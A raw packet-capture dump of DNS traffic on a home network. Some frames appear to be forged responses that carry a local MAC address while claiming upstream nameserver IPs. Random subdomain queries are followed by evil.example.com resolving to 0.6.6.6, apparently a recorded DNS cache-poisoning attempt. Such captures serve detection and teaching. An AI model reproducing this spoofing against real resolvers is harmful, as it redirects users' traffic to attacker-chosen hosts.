Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e2
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
12 12.096024 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 12 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e2
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
13 12.097455 192.0.34.43 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 13 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e3
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1

Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
14 12.097995 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 14 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e3
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
15 12.190663 192.0.34.43 192.168.1.125 DNS Standard query r
esponse, No such name
Frame 15 (154 bytes on wire, 154 bytes captured)
Ethernet II, Src: Cisco-Li_21:fa:69 (00:1c:10:21:fa:69), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
[Request In: 4]
[Time: 0.102221000 seconds]
Transaction ID: 0x8186
Flags: 0x8403 (Standard query response, No such name)
Questions: 1
Answer RRs: 0
Authority RRs: 1
Additional RRs: 1
Queries
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
16 12.191001 192.168.1.125 192.168.1.135 DNS Standard query r
esponse, No such name
Frame 16 (143 bytes on wire, 143 bytes captured)
Ethernet II, Src: AsustekC_d1:9b:61 (00:11:2f:d1:9b:61), Dst: AppleCom_b1:bc:cd (00:16:cb
:b1:bc:cd)
Internet Protocol, Src: 192.168.1.125 (192.168.1.125), Dst: 192.168.1.135 (192.168.1.135)

User Datagram Protocol, Src Port: domain (53), Dst Port: 55297 (55297)
Domain Name System (response)
[Request In: 3]
[Time: 0.102862000 seconds]
Transaction ID: 0xdd43
Flags: 0x8183 (Standard query response, No such name)
Questions: 1
Answer RRs: 0
Authority RRs: 1
Additional RRs: 0
Queries
Authoritative nameservers

No. Time Source Destination Protocol Info
17 222.038204 192.168.1.135 192.168.1.125 DNS Standard query A
zPrhio39Xtxg.example.com
Frame 17 (84 bytes on wire, 84 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.168.1.135 (192.168.1.135), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: 16874 (16874), Dst Port: domain (53)
Domain Name System (query)
Transaction ID: 0xffcc
Flags: 0x0100 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries

No. Time Source Destination Protocol Info
18 222.038602 192.168.1.125 192.0.34.43 DNS Standard query A
zPrhio39Xtxg.example.com
Frame 18 (95 bytes on wire, 95 bytes captured)
Ethernet II, Src: AsustekC_d1:9b:61 (00:11:2f:d1:9b:61), Dst: Cisco-Li_21:fa:69 (00:1c:10
:21:fa:69)
Internet Protocol, Src: 192.168.1.125 (192.168.1.125), Dst: 192.0.34.43 (192.0.34.43)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (query)
[Response In: 20]
Transaction ID: 0x74f2
Flags: 0x0010 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
Additional records

No. Time Source Destination Protocol Info
19 222.077017 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 19 (135 bytes on wire, 135 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f

:d1:9b:61)
Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74f2
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
20 222.135927 192.0.34.43 192.168.1.125 DNS Standard query r
esponse, No such name
Frame 20 (156 bytes on wire, 156 bytes captured)
Ethernet II, Src: Cisco-Li_21:fa:69 (00:1c:10:21:fa:69), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
[Request In: 18]
[Time: 0.097325000 seconds]
Transaction ID: 0x74f2
Flags: 0x8403 (Standard query response, No such name)
Questions: 1
Answer RRs: 0
Authority RRs: 1
Additional RRs: 1
Queries
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
21 222.750500 192.168.1.135 192.168.1.125 DNS Standard query A
evil.example.com
Frame 21 (76 bytes on wire, 76 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.168.1.135 (192.168.1.135), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: 55816 (55816), Dst Port: domain (53)
Domain Name System (query)
[Response In: 22]
Transaction ID: 0x1dd6
Flags: 0x0000 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries

No. Time Source Destination Protocol Info
22 222.750752 192.168.1.125 192.168.1.135 DNS Standard query r
esponse A 0.6.6.6
Frame 22 (172 bytes on wire, 172 bytes captured)
Ethernet II, Src: AsustekC_d1:9b:61 (00:11:2f:d1:9b:61), Dst: AppleCom_b1:bc:cd (00:16:cb
:b1:bc:cd)
Internet Protocol, Src: 192.168.1.125 (192.168.1.125), Dst: 192.168.1.135 (192.168.1.135)
User Datagram Protocol, Src Port: domain (53), Dst Port: 55816 (55816)
Domain Name System (response)
[Request In: 21]
[Time: 0.000252000 seconds]
Transaction ID: 0x1dd6
Flags: 0x8080 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 2
Additional RRs: 2
Queries
Answers
Authoritative nameservers
Additional records